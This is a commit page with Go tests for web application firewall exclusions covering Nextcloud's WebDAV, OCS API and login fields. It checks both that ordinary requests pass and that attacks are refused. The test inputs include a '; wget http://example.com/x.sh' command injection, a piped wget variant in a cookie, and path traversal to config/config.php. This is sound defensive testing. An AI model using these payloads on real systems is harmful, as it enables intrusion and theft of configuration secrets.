Core Rule Set: Nextcloud's ordinary requests pass by default (closes #240)
check / check (push) Failing after 2m15s
check / check (push) Failing after 2m15s
Adds nextcloud.conf, the twelfth change. Nextcloud's WebDAV paths allow PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, REPORT and SEARCH. The account-name cookie nc_username, and the fields that carry a search, a name, a file name or a folder on the sign-in page, the Files app, public shares and the OCS API, skip the four rules that read them as commands or system files. Comments and the text editor's document skip the two rules for a command after a ";" too; 932235 keeps "; wget" refused. Requests recorded from Nextcloud 35.0.2, its web pages, sync client 3.16.7 with chunked uploads and the OCS API, pass at the defaults and while bodies are read. Model: opus-5-5
This commit is contained in:
sneak committed
1 parent
3d9e3976b0
commit
515cce3dd8
7 files changed
+1924
-27
No files matched your search
@@ -0,0 +1,337 @@
|
||||
package coreruleset_test
|
||||
|
||||
import (
|
||||
"html"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
// nextcloudThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudShare is a public share's page.
|
||||
const nextcloudShare = "/s/AbCdEfGhIjKlMnO"
|
||||
|
||||
// nextcloudUsers is the OCS API's list of accounts.
|
||||
const nextcloudUsers = "/ocs/v2.php/cloud/users"
|
||||
|
||||
// nextcloudShares is the OCS API's list of shares.
|
||||
const nextcloudShares = "/ocs/v2.php/apps/files_sharing/api/v1/shares"
|
||||
|
||||
// nextcloudFiles is the WebDAV folder of the account admin.
|
||||
const nextcloudFiles = "/remote.php/dav/files/admin/"
|
||||
|
||||
// nextcloudCommandAttack is a shell command after a ";", as a query value.
|
||||
const nextcloudCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
|
||||
|
||||
func TestOrdinaryNextcloudRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
wantRecordedRequestsPass(t, "nextcloud-requests.txt")
|
||||
}
|
||||
|
||||
// nextcloudQueryFields are the query fields that skip 930120, 932120, 932250
|
||||
// and 932260, each on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudQueryFields = []string{
|
||||
"/login?user=",
|
||||
"/login?redirect_url=",
|
||||
"/index.php/login?user=",
|
||||
"/apps/files/?dir=",
|
||||
"/apps/files/files/134?dir=",
|
||||
"/index.php/apps/files/?dir=",
|
||||
"/apps/files_sharing/publicpreview/AbCdEfGhIjKlMnO?file=",
|
||||
nextcloudShare + "/download?path=",
|
||||
nextcloudShare + "/download?path=%2F&files=",
|
||||
nextcloudUsers + "?search=",
|
||||
nextcloudUsers + "/details?search=",
|
||||
"/ocs/v2.php/cloud/groups?search=",
|
||||
"/ocs/v1.php/cloud/groups/details?search=",
|
||||
"/ocs/v2.php/apps/files_sharing/api/v1/sharees?search=",
|
||||
nextcloudShares + "?path=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=",
|
||||
"/ocs/v2.php/search/providers/files/search?term=x&from=",
|
||||
}
|
||||
|
||||
// nextcloudFormFields are the form data fields that skip the four rules, each
|
||||
// on a path where it skips them, ending in "=".
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudFormFields = []struct{ target, field string }{
|
||||
{"/login", "user="},
|
||||
{"/login", "password="},
|
||||
{nextcloudUsers, "userid="},
|
||||
{nextcloudUsers, "displayName="},
|
||||
{nextcloudUsers, "groups%5B%5D="},
|
||||
{nextcloudUsers + "/admin", "value="},
|
||||
{"/ocs/v2.php/cloud/groups", "groupid="},
|
||||
{nextcloudShares, "path="},
|
||||
{nextcloudShares, "label="},
|
||||
{nextcloudShares, "shareWith="},
|
||||
{"/ocs/v1.php/apps/files_sharing/api/v1/shares/1", "note="},
|
||||
}
|
||||
|
||||
// nextcloudBody is a JSON or XML body, sent with its method to a path. It
|
||||
// holds %s, where a value goes.
|
||||
type nextcloudBody struct{ method, target, contentType, body string }
|
||||
|
||||
// nextcloudBodies are the JSON and XML fields that skip the four rules, each
|
||||
// on a path where it skips them.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudBodies = []nextcloudBody{
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"userid":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"displayName":"%s"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"groups":["Staff","%s"]}`},
|
||||
{http.MethodPut, nextcloudUsers + "/admin", jsonBody, `{"key":"headline","value":"%s"}`},
|
||||
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"label":"%s"}`},
|
||||
{http.MethodPut, nextcloudShares + "/1", jsonBody, `{"note":"%s"}`},
|
||||
{
|
||||
http.MethodPut, "/ocs/v2.php/apps/user_status/api/v1/user_status/message/custom",
|
||||
jsonBody, `{"message":"%s"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet",
|
||||
jsonBody, `{"setting":"slogan","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, "/apps/text/session/1/save", jsonBody, `{"filePath":"/%s/Readme.md"}`},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"name":"%s"}`},
|
||||
{
|
||||
"SEARCH", "/remote.php/dav/", xmlBody,
|
||||
`<d:searchrequest xmlns:d="DAV:"><d:basicsearch><d:where><d:like>` +
|
||||
`<d:prop><d:displayname/></d:prop><d:literal>%%s%</d:literal>` +
|
||||
`</d:like></d:where></d:basicsearch></d:searchrequest>`,
|
||||
},
|
||||
}
|
||||
|
||||
// nextcloudTexts are the fields that hold what a person writes, which skip
|
||||
// 932125 and 932230 too.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var nextcloudTexts = []nextcloudBody{
|
||||
{http.MethodPost, "/apps/text/session/1/save", jsonBody, `{"autosaveContent":"%s"}`},
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"message":"%s"}`},
|
||||
{
|
||||
"PROPPATCH", "/remote.php/dav/comments/files/1/2", xmlBody,
|
||||
`<d:propertyupdate xmlns:d="DAV:" xmlns:oc="http://owncloud.org/ns">` +
|
||||
`<d:set><d:prop><oc:message>%s</oc:message></d:prop></d:set>` +
|
||||
`</d:propertyupdate>`,
|
||||
},
|
||||
}
|
||||
|
||||
// nextcloudScores returns the score that the Core Rule Set, reading bodies,
|
||||
// gives each request that sends value, a query value, in one of the fields
|
||||
// above, keyed by the request. The texts hold text in its place.
|
||||
func nextcloudScores(t *testing.T, value, text string) map[string]int {
|
||||
t.Helper()
|
||||
|
||||
crs := readingBodies(t)
|
||||
scores := map[string]int{}
|
||||
|
||||
for _, target := range nextcloudQueryFields {
|
||||
scores["GET "+target+value] = inspect(t, crs, get(target+value)).Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudFormFields {
|
||||
r := request{http.MethodPost, sent.target, []string{formData}}
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
scores["POST "+sent.target+" "+sent.field+value] = got.Score
|
||||
}
|
||||
|
||||
send := func(sent nextcloudBody, value string) {
|
||||
written, err := url.QueryUnescape(value)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
if sent.contentType == xmlBody {
|
||||
written = html.EscapeString(written)
|
||||
}
|
||||
|
||||
body := strings.Replace(sent.body, "%s", written, 1)
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
scores[sent.method+" "+sent.target+" "+body] = got.Score
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudBodies {
|
||||
send(sent, value)
|
||||
}
|
||||
|
||||
for _, sent := range nextcloudTexts {
|
||||
send(sent, text)
|
||||
}
|
||||
|
||||
return scores
|
||||
}
|
||||
|
||||
func TestNextcloudHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, value := range hardValues {
|
||||
// A text names the command or file in a sentence that runs ls -la
|
||||
// after a ";", as recorded.
|
||||
text := "Run%20" + value + "%3B%20ls%20-la%20next"
|
||||
|
||||
for request, score := range nextcloudScores(t, value, text) {
|
||||
if score >= nextcloudThreshold {
|
||||
t.Errorf("%s refused: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAttacksAreRefusedInTheExcludedFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection,
|
||||
"..%2F..%2Fconfig%2Fconfig.php",
|
||||
scriptInjection,
|
||||
nextcloudCommandAttack,
|
||||
} {
|
||||
for request, score := range nextcloudScores(t, attack, attack) {
|
||||
if score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %d", request, score)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudAccountCookieSkipsTheFourRules(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
cookie := func(value string) request {
|
||||
return get("/apps/files/", "Cookie: nc_sameSiteCookielax=true; nc_username="+value)
|
||||
}
|
||||
|
||||
for _, value := range []string{"python3", "powershell", "ls -la", ".htaccess"} {
|
||||
wantResult(t, crs, cookie(value), matched())
|
||||
}
|
||||
|
||||
// A cookie cannot hold a ";", so the command follows a "|" instead.
|
||||
for _, attack := range []string{
|
||||
injection,
|
||||
"../../config/config.php",
|
||||
scriptTag,
|
||||
"x|wget http://example.com/x.sh",
|
||||
} {
|
||||
if got := inspect(t, crs, cookie(attack)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_username=%s let through: %+v", attack, got)
|
||||
}
|
||||
}
|
||||
|
||||
got := inspect(t, crs, get("/apps/files/", "Cookie: nc_other=python3"))
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("nc_other=python3 let through: %+v", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudWebDAVMethodsAreAllowedOnlyThere(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, method := range []string{
|
||||
"PROPFIND", "PROPPATCH", "MKCOL", "COPY", "MOVE", "REPORT", "SEARCH",
|
||||
} {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles, "/remote.php/dav", "/remote.php/webdav/",
|
||||
"/public.php/dav/files/AbCdEfGhIjKlMnO/", "/public.php/webdav/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched())
|
||||
}
|
||||
|
||||
for _, target := range []string{
|
||||
"/", "/dav/", "/x/remote.php/dav/", "/remote.php/davx/",
|
||||
} {
|
||||
wantResult(t, crs, request{method, target, nil}, matched(911100))
|
||||
}
|
||||
}
|
||||
|
||||
wantResult(t, crs, request{"FOO", nextcloudFiles, nil}, matched(911100))
|
||||
}
|
||||
|
||||
func TestNextcloudPathTraversalIsRefusedInWebDAVPaths(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, method := range []string{http.MethodGet, http.MethodPut, "PROPFIND", "MOVE"} {
|
||||
for _, target := range []string{
|
||||
nextcloudFiles + "../../../config/config.php",
|
||||
nextcloudFiles + "..%2F..%2F..%2Fconfig%2Fconfig.php",
|
||||
} {
|
||||
got := inspect(t, crs, request{method, target, nil})
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s let through: %+v", method, target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestNextcloudExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, refused := range []string{
|
||||
"/?dir=python3",
|
||||
"/apps/other/?dir=python3",
|
||||
"/apps/files/?other=python3",
|
||||
"/login?other=python3",
|
||||
"/x/login?user=python3",
|
||||
nextcloudShare + "?files=powershell",
|
||||
"/?file=powershell",
|
||||
"/?search=python3",
|
||||
nextcloudUsers + "?other=python3",
|
||||
"/x/ocs/v2.php/cloud/users?search=python3",
|
||||
} {
|
||||
if got := inspect(t, crs, get(refused)); got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s let through: %+v", refused, got)
|
||||
}
|
||||
}
|
||||
|
||||
for _, sent := range []nextcloudBody{
|
||||
// A JSON field of the same name in the query keeps the rules.
|
||||
{
|
||||
http.MethodPost, "/remote.php/dav/comments/files/1?json.message=python3",
|
||||
jsonBody, `{"message":"python3"}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/apps/theming/ajax/updateStylesheet?json.value=python3",
|
||||
jsonBody, `{"value":"python3"}`,
|
||||
},
|
||||
{http.MethodPost, nextcloudUsers + "?json.userid=python3", jsonBody, `{"userid":"python3"}`},
|
||||
// Other JSON fields keep them.
|
||||
{http.MethodPost, "/remote.php/dav/comments/files/1", jsonBody, `{"other":"python3"}`},
|
||||
{http.MethodPost, "/apps/text/session/1/save", jsonBody, `{"other":"python3"}`},
|
||||
{http.MethodPost, "/remote.php/dav/systemtags/", jsonBody, `{"other":"python3"}`},
|
||||
{http.MethodPost, nextcloudUsers, jsonBody, `{"other":"python3"}`},
|
||||
// XML on another path, or with another method, keeps them.
|
||||
{"SEARCH", nextcloudFiles, xmlBody, `<d:literal xmlns:d="DAV:">python3</d:literal>`},
|
||||
{
|
||||
"PROPPATCH", nextcloudFiles + "notes.txt",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
{
|
||||
"REPORT", "/remote.php/dav/comments/files/1/2",
|
||||
xmlBody, `<d:message xmlns:d="DAV:">python3</d:message>`,
|
||||
},
|
||||
} {
|
||||
r := request{sent.method, sent.target, []string{sent.contentType}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < nextcloudThreshold {
|
||||
t.Errorf("%s %s %s let through: %+v", sent.method, sent.target, sent.body, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user